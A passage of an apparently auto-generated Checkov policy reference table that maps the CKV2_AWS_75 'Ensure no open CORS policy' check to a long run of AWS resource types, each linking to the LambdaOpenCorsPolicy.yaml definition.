| CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_phone_number | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1195 | CKV2_AWS_75 | resource | aws_pipes_pipe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1196 | CKV2_AWS_75 | resource | aws_placement_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1197 | CKV2_AWS_75 | resource | aws_prometheus_alert_manager_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1198 | CKV2_AWS_75 | resource | aws_prometheus_rule_group_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1199 | CKV2_AWS_75 | resource | aws_prometheus_scraper | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1200 | CKV2_AWS_75 | resource | aws_prometheus_workspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1201 | CKV2_AWS_75 | resource | aws_proxy_protocol_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1202 | CKV2_AWS_75 | resource | aws_qldb_ledger | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1203 | CKV2_AWS_75 | resource | aws_qldb_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1204 | CKV2_AWS_75 | resource | aws_quicksight_account_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1205 | CKV2_AWS_75 | resource | aws_quicksight_analysis | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1206 | CKV2_AWS_75 | resource | aws_quicksight_dashboard | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1207 | CKV2_AWS_75 | resource | aws_quicksight_data_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1208 | CKV2_AWS_75 | resource | aws_quicksight_data_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1209 | CKV2_AWS_75 | resource | aws_quicksight_folder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1210 | CKV2_AWS_75 | resource | aws_quicksight_folder_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1211 | CKV2_AWS_75 | resource | aws_quicksight_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1212 | CKV2_AWS_75 | resource | aws_quicksight_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1213 | CKV2_AWS_75 | resource | aws_quicksight_iam_policy_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1214 | CKV2_AWS_75 | resource | aws_quicksight_ingestion | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1215 | CKV2_AWS_75 | resource | aws_quicksight_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1216 | CKV2_AWS_75 | resource | aws_quicksight_refresh_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1217 | CKV2_AWS_75 | resource | aws_quicksight_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1218 | CKV2_AWS_75 | resource | aws_quicksight_template_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1219 | CKV2_AWS_75 | resource | aws_quicksight_theme | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1220 | CKV2_AWS_75 | resource | aws_quicksight_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1221 | CKV2_AWS_75 | resource | aws_quicksight_vpc_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1222 | CKV2_AWS_75 | resource | aws_ram_principal_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1223 | CKV2_AWS_75 | resource | aws_ram_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1224 | CKV2_AWS_75 | resource | aws_ram_resource_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1225 | CKV2_AWS_75 | resource | aws_ram_resource_share_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1226 | CKV2_AWS_75 | resource | aws_ram_sharing_with_organization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1227 | CKV2_AWS_75 | resource | aws_rbin_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1228 | CKV2_AWS_75 | resource | aws_rds_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1229 | CKV2_AWS_75 | resource | aws_rds_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1230 | CKV2_AWS_75 | resource | aws_rds_cluster_activity_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1231 | CKV2_AWS_75 | resource | aws_rds_cluster_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1232 | CKV2_AWS_75 | resource | aws_rds_cluster_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1233 | CKV2_AWS_75 | resource | aws_rds_cluster_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1234 | CKV2_AWS_75 | resource | aws_rds_cluster_role_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1235 | CKV2_AWS_75 | resource | aws_rds_cluster_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1236 | CKV2_AWS_75 | resource | aws_rds_custom_db_engine_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1237 | CKV2_AWS_75 | resource | aws_rds_export_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1238 | CKV2_AWS_75 | resource | aws_rds_global_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1239 | CKV2_AWS_75 | resource | aws_rds_instance_state | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1240 | CKV2_AWS_75 | resource | aws_rds_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1241 | CKV2_AWS_75 | resource | aws_rds_reserved_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1242 | CKV2_AWS_75 | resource | aws_redshift_authentication_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1243 | CKV2_AWS_75 | resource | aws_redshift_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1244 | CKV2_AWS_75 | resource | aws_redshift_cluster_iam_roles | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1245 | CKV2_AWS_75 | resource | aws_redshift_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1246 | CKV2_AWS_75 | resource | aws_redshift_data_share_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1247 | CKV2_AWS_75 | resource | aws_redshift_data_share_consumer_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1248 | CKV2_AWS_75 | resource | aws_redshift_endpoint_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1249 | CKV2_AWS_75 | resource | aws_redshift_endpoint_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1250 | CKV2_AWS_75 | resource | aws_redshift_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1251 | CKV2_AWS_75 | resource | aws_redshift_hsm_client_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1252 | CKV2_AWS_75 | resource | aws_redshift_hsm_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1253 | CKV2_AWS_75 | resource | aws_redshift_logging | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1254 | CKV2_AWS_75 | resource | aws_redshift_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1255 | CKV2_AWS_75 | resource | aws_redshift_partner | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1256 | CKV2_AWS_75 | resource | aws_redshift_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1257 | CKV2_AWS_75 | resource | aws_redshift_scheduled_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1258 | CKV2_AWS_75 | resource | aws_redshift_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1259 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1260 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1261 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1262 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1263 | CKV2_AWS_75 | resource | aws_redshift_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1264 | CKV2_AWS_75 | resource | aws_redshift_usage_limit | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1265 | CKV2_AWS_75 | resource | aws_redshiftdata_statement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1266 | CKV2_AWS_75 | resource | aws_redshiftserverless_custom_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1267 | CKV2_AWS_75 | resource | aws_redshiftserverless_endpoint_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1268 | CKV2_AWS_75 | resource | aws_redshiftserverless_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1269 | CKV2_AWS_75 | resource | aws_redshiftserverless_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1270 | CKV2_AWS_75 | resource | aws_redshiftserverless_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1271 | CKV2_AWS_75 | resource | aws_redshiftserverless_usage_limit | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1272 | CKV2_AWS_75 | resource | aws_redshiftserverless_workgroup | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1273 | CKV2_AWS_75 | resource | aws_region_info | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1274 | CKV2_AWS_75 | resource | aws_rekognition_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1275 | CKV2_AWS_75 | resource | aws_rekognition_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1276 | CKV2_AWS_75 | resource | aws_rekognition_stream_processor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1277 | CKV2_AWS_75 | resource | aws_resiliencehub_resiliency_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1278 | CKV2_AWS_75 | resource | aws_resourceexplorer2_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1279 | CKV2_AWS_75 | resource | aws_resourceexplorer2_view | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1280 | CKV2_AWS_75 | resource | aws_resourcegroups_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1281 | CKV2_AWS_75 | resource | aws_resourcegroups_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1282 | CKV2_AWS_75 | resource | aws_rolesanywhere_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1283 | CKV2_AWS_75 | resource | aws_rolesanywhere_trust_anchor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1284 | CKV2_AWS_75 | resource | aws_root | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1285 | CKV2_AWS_75 | resource | aws_root_access_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1286 | CKV2_AWS_75 | resource | aws_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1287 | CKV2_AWS_75 | resource | aws_route53_cidr_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1288 | CKV2_AWS_75 | resource | aws_route53_cidr_location | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1289 | CKV2_AWS_75 | resource | aws_route53_delegation_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1290 | CKV2_AWS_75 | resource | aws_route53_health_check | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1291 | CKV2_AWS_75 | resource | aws_route53_hosted_zone_dnssec | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1292 | CKV2_AWS_75 | resource | aws_route53_key_signing_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1293 | CKV2_AWS_75 | resource | aws_route53_query_log | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1294 | CKV2_AWS_75 | resource | aws_route53_record | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1295 | CKV2_AWS_75 | resource | aws_route53_resolver_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1296 | CKV2_AWS_75 | resource | aws_route53_resolver_dnssec_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1297 | CKV2_AWS_75 | resource | aws_route53_resolver_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1298 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1299 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_domain_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1300 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1301 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1302 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1303 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1304 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config_association | Ensure no open CORS policy | Cloudformation | 